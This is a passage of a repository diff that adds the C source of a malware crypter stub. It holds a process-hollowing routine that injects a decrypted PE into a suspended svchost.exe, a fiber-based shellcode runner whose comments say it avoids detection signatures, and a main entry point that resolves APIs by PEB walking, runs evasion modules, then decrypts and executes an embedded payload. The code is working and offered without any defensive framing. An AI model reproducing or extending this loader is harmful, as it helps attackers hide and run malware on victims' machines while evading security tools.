/* Already a fiber — get current fiber */
|
||||
main_fiber = GetCurrentFiber();
|
||||
}
|
||||
|
||||
LPVOID exec_fiber = g_api.pCreateFiber(0, fiber_entry, &fiber_ctx);
|
||||
if (!exec_fiber) {
|
||||
g_api.pVirtualFree(base, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
g_api.pSwitchToFiber(exec_fiber);
|
||||
|
||||
/* Control returns here after payload completes or calls SwitchToFiber back */
|
||||
g_api.pDeleteFiber(exec_fiber);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Executable
+150
@@ -0,0 +1,150 @@
|
||||
/**
|
||||
* runpe_stub.c — RunPE / Process Hollowing
|
||||
*
|
||||
* Creates a suspended process, unmaps the original image, writes the
|
||||
* decrypted PE into the target, fixes the entry point, and resumes.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
/* CRYPTER_TARGET_PROCESS_PLACEHOLDER */
|
||||
static const wchar_t TARGET_PROCESS[] = L"C:\\Windows\\System32\\svchost.exe";
|
||||
|
||||
/**
|
||||
* Execute a PE image via process hollowing.
|
||||
* pe_data: pointer to decrypted PE bytes
|
||||
* pe_len: length of the PE data
|
||||
* Returns 0 on success, -1 on failure.
|
||||
*/
|
||||
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len) {
|
||||
STARTUPINFOW si;
|
||||
PROCESS_INFORMATION pi;
|
||||
CONTEXT ctx;
|
||||
NTSTATUS status;
|
||||
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
|
||||
/* Validate PE */
|
||||
if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1;
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1;
|
||||
if ((uint32_t)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_len) return -1;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) return -1;
|
||||
|
||||
/* Create target process in suspended state */
|
||||
if (!g_api.pCreateProcessW(TARGET_PROCESS, NULL, NULL, NULL, FALSE,
|
||||
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Get thread context to find PEB */
|
||||
ctx.ContextFlags = CONTEXT_FULL;
|
||||
if (!g_api.pGetThreadContext(pi.hThread, &ctx)) {
|
||||
g_api.pTerminateProcess(pi.hProcess, 1);
|
||||
g_api.pCloseHandle(pi.hThread);
|
||||
g_api.pCloseHandle(pi.hProcess);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Read PEB to get image base of the target */
|
||||
PVOID pbi_buf[6]; /* PROCESS_BASIC_INFORMATION */
|
||||
status = g_api.pNtQueryInformationProcess(pi.hProcess, 0 /* ProcessBasicInformation */,
|
||||
pbi_buf, sizeof(pbi_buf), NULL);
|
||||
if (status != 0) {
|
||||
g_api.pTerminateProcess(pi.hProcess, 1);
|
||||
g_api.pCloseHandle(pi.hThread);
|
||||
g_api.pCloseHandle(pi.hProcess);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* PEB address is the 2nd pointer-sized field */
|
||||
PVOID peb_addr = pbi_buf[1];
|
||||
PVOID image_base_addr;
|
||||
|
||||
/* Read ImageBaseAddress from PEB (offset 0x10 on x64, 0x08 on x86) */
|
||||
#ifdef _WIN64
|
||||
SIZE_T peb_offset = 0x10;
|
||||
#else
|
||||
SIZE_T peb_offset = 0x08;
|
||||
#endif
|
||||
if (!g_api.pReadProcessMemory(pi.hProcess, (PBYTE)peb_addr + peb_offset,
|
||||
&image_base_addr, sizeof(image_base_addr), NULL)) {
|
||||
g_api.pTerminateProcess(pi.hProcess, 1);
|
||||
g_api.pCloseHandle(pi.hThread);
|
||||
g_api.pCloseHandle(pi.hProcess);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Unmap the original PE image */
|
||||
g_api.pNtUnmapViewOfSection(pi.hProcess, image_base_addr);
|
||||
|
||||
/* Allocate memory at the PE's preferred base */
|
||||
LPVOID remote_base = g_api.pVirtualAllocEx(
|
||||
pi.hProcess,
|
||||
(LPVOID)(ULONG_PTR)nt->OptionalHeader.ImageBase,
|
||||
nt->OptionalHeader.SizeOfImage,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE
|
||||
);
|
||||
if (!remote_base) {
|
||||
/* Try at any address if preferred base is taken */
|
||||
remote_base = g_api.pVirtualAllocEx(
|
||||
pi.hProcess, NULL,
|
||||
nt->OptionalHeader.SizeOfImage,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE
|
||||
);
|
||||
if (!remote_base) {
|
||||
g_api.pTerminateProcess(pi.hProcess, 1);
|
||||
g_api.pCloseHandle(pi.hThread);
|
||||
g_api.pCloseHandle(pi.hProcess);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Write PE headers */
|
||||
g_api.pWriteProcessMemory(pi.hProcess, remote_base, pe_data,
|
||||
nt->OptionalHeader.SizeOfHeaders, NULL);
|
||||
|
||||
/* Write each section */
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
|
||||
if (sec[i].SizeOfRawData == 0) continue;
|
||||
g_api.pWriteProcessMemory(
|
||||
pi.hProcess,
|
||||
(PBYTE)remote_base + sec[i].VirtualAddress,
|
||||
pe_data + sec[i].PointerToRawData,
|
||||
sec[i].SizeOfRawData,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
|
||||
/* Update PEB ImageBaseAddress to point to our allocation */
|
||||
g_api.pWriteProcessMemory(pi.hProcess, (PBYTE)peb_addr + peb_offset,
|
||||
&remote_base, sizeof(remote_base), NULL);
|
||||
|
||||
/* Fix thread context entry point */
|
||||
#ifdef _WIN64
|
||||
ctx.Rcx = (DWORD64)remote_base + nt->OptionalHeader.AddressOfEntryPoint;
|
||||
#else
|
||||
ctx.Eax = (DWORD)remote_base + nt->OptionalHeader.AddressOfEntryPoint;
|
||||
#endif
|
||||
|
||||
g_api.pSetThreadContext(pi.hThread, &ctx);
|
||||
|
||||
/* Resume the target process */
|
||||
g_api.pResumeThread(pi.hThread);
|
||||
|
||||
g_api.pCloseHandle(pi.hThread);
|
||||
g_api.pCloseHandle(pi.hProcess);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Executable
+58
@@ -0,0 +1,58 @@
|
||||
/**
|
||||
* shellcode_stub.c — Shellcode execution (local, fiber-based)
|
||||
*
|
||||
* Allocates RW memory, copies decrypted payload, flips to RX,
|
||||
* and executes via fiber switching (no CreateThread).
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
/**
|
||||
* Execute raw shellcode in the current process via fiber.
|
||||
* sc_data: pointer to decrypted shellcode bytes
|
||||
* sc_len: length of the shellcode
|
||||
* Returns 0 on success, -1 on failure.
|
||||
*/
|
||||
int shellcode_execute(const uint8_t *sc_data, uint32_t sc_len) {
|
||||
if (!sc_data || sc_len == 0) return -1;
|
||||
|
||||
/* Allocate RW memory */
|
||||
LPVOID mem = g_api.pVirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!mem) return -1;
|
||||
|
||||
/* Copy shellcode */
|
||||
memcpy(mem, sc_data, sc_len);
|
||||
|
||||
/* Flip to RX (no RWX — avoid easy detection) */
|
||||
DWORD old_protect;
|
||||
if (!g_api.pVirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old_protect)) {
|
||||
g_api.pVirtualFree(mem, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Execute via fiber — avoids CreateThread behavioral signature */
|
||||
LPVOID main_fiber = g_api.pConvertThreadToFiber(NULL);
|
||||
if (!main_fiber) {
|
||||
main_fiber = GetCurrentFiber();
|
||||
}
|
||||
|
||||
LPVOID sc_fiber = g_api.pCreateFiber(0, (LPFIBER_START_ROUTINE)mem, NULL);
|
||||
if (!sc_fiber) {
|
||||
g_api.pVirtualFree(mem, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
g_api.pSwitchToFiber(sc_fiber);
|
||||
|
||||
/* Control returns here after shellcode completes */
|
||||
g_api.pDeleteFiber(sc_fiber);
|
||||
|
||||
/* Clean up */
|
||||
g_api.pVirtualFree(mem, 0, MEM_RELEASE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Executable
+80
@@ -0,0 +1,80 @@
|
||||
/**
|
||||
* stub_main.c — Crypter stub entry point
|
||||
*
|
||||
* Flow:
|
||||
* 1. Resolve all APIs via PEB walking
|
||||
* 2. Run enabled evasion modules
|
||||
* 3. Decrypt embedded payload (XOR + AES-256-CBC)
|
||||
* 4. Execute via selected mode (RunPE or Shellcode)
|
||||
* 5. Wipe decrypted payload from memory
|
||||
*
|
||||
* The crypter engine defines:
|
||||
* - EVASION_xxx flags for each enabled evasion module
|
||||
* - CRYPT_MODE_RUNPE or CRYPT_MODE_SHELLCODE
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
#include "decrypt_layer.h"
|
||||
#include "evasion.h"
|
||||
|
||||
/* Mode-specific execution functions (linked from runpe_stub.c or shellcode_stub.c) */
|
||||
#ifdef CRYPT_MODE_RUNPE
|
||||
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len);
|
||||
#endif
|
||||
|
||||
#ifdef CRYPT_MODE_SHELLCODE
|
||||
int shellcode_execute(const uint8_t *sc_data, uint32_t sc_len);
|
||||
#endif
|
||||
|
||||
/**
|
||||
* Securely wipe memory with volatile write to prevent compiler optimization.
|
||||
*/
|
||||
static void secure_wipe(void *ptr, size_t len) {
|
||||
volatile uint8_t *p = (volatile uint8_t *)ptr;
|
||||
while (len--) *p++ = 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* WinMain — GUI subsystem entry point (no console window).
|
||||
*/
|
||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
|
||||
LPSTR lpCmdLine, int nCmdShow) {
|
||||
(void)hInstance;
|
||||
(void)hPrevInstance;
|
||||
(void)lpCmdLine;
|
||||
(void)nCmdShow;
|
||||
|
||||
/* Step 1: Resolve all APIs via PEB walking */
|
||||
api_resolve_init();
|
||||
|
||||
/* Step 2: Run evasion modules */
|
||||
evasion_init_all();
|
||||
|
||||
/* Step 3: Decrypt payload */
|
||||
uint32_t payload_len = 0;
|
||||
uint8_t *payload = decrypt_payload(&payload_len);
|
||||
if (!payload || payload_len == 0) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Step 4: Execute */
|
||||
int result = -1;
|
||||
|
||||
#ifdef CRYPT_MODE_RUNPE
|
||||
result = runpe_execute(payload, payload_len);
|
||||
#endif
|
||||
|
||||
#ifdef CRYPT_MODE_SHELLCODE
|
||||
result = shellcode_execute(payload, payload_len);
|
||||
#endif
|
||||
|
||||
/* Step 5: Wipe decrypted payload */
|
||||
secure_wipe(payload, payload_len);
|
||||
HeapFree(GetProcessHeap(), 0, payload);
|
||||
|
||||
return result;
|
||||
}
|
||||
Executable
BIN
Binary file not shown.
Reference in New Issue
Block a user